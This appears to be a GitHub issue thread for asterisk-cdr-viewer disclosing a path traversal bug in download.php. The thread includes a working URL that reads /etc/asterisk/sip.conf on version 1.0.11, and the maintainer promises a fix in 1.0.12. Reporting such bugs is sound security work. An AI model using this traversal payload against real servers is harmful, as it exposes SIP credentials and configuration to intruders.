search

g613 / asterisk-cdr-viewer

Simple and fast viewer for asterisk CDRs / recordings
54 stars 33 forks source link

download.php critical secure bug ! #36

Closed vushtenko closed 6 years ago

vushtenko commented 6 years ago

http://IP/acdr/download.php?csv=../../../../../../../../../etc/asterisk/sip.conf on 1.0.11 works!

g613 commented 6 years ago

it shall be fixed in 1.0.12